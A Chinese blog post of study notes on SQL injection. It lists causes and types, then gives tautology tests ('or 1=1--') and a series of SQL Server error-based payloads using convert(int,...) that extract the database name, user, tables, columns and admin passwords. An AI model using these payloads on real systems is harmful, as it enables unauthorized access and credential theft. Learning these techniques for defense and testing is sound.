mysql 永真_sql注入

Sql注入

Sql注入成因:

1)转义字符处理不当(如’,--,/**/,会截断原有的语句,执行新语句);

2)类型处理不当(如接受的是整型的参数,并没有校验也可以接受字符型数据)

3)查询语句的组装不当

4)错误处理不当

5)权限配置不当(可以执行高权限语句)

Sql注入类型:

从参数的角度:基于字符型和数字型的

基于错误的(基于响应时间的盲注,基于相应的注入)可以直观的看到我们查询结果的一类,看不到查询结果就是盲注

识别sql注入:

1.永真和永假表达式: or 1=1—

2.语句执行的报错信息:Having(聚合函数)若select字段没有包含在having里面,则会报错,证明注入成功

3.特定数据的连接符:(根据不同数据库的连接符不相同)

i.Sqlsever(+连接)1’or ‘ab’=’a’+’b’—(永真)

ii.Mysql(空格连接)1’or ‘ab’=’a’’b’ (永真)

iii.奥瑞考(||连接)1’or ‘ab’=’a’||’b’

基于错误的sql注入基本原理:

1.判断;2.判断数据库

Sqlsever数据库中convert是一个进行类型转换的函数

1=convert(int,@@version)--

拆解库名:1=convert(int,db_name())--

得到当前用户名:1=convert(int,user_name())—

拆解表名:

1=convert(int,(select top 1 table_name from information_schema_tables))—

1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘pp_category’)))—not in排除第一次选中的表名,就可以得到第二个表名,以此类推

拆解列名:

1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’pp_admin_tb’))—

1=convert(int,(select top 1 column_name from information_schema_columns where table_name=’pp_admin_tb’and column_name not in(‘adminsign_id’)))—

得到字段数据:

1=convert(int,(select top 1 email_id from pp_admin_tb))—

得到字段数据;

1=convert(int,(select top 1 password from pp_admin_tb))—

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值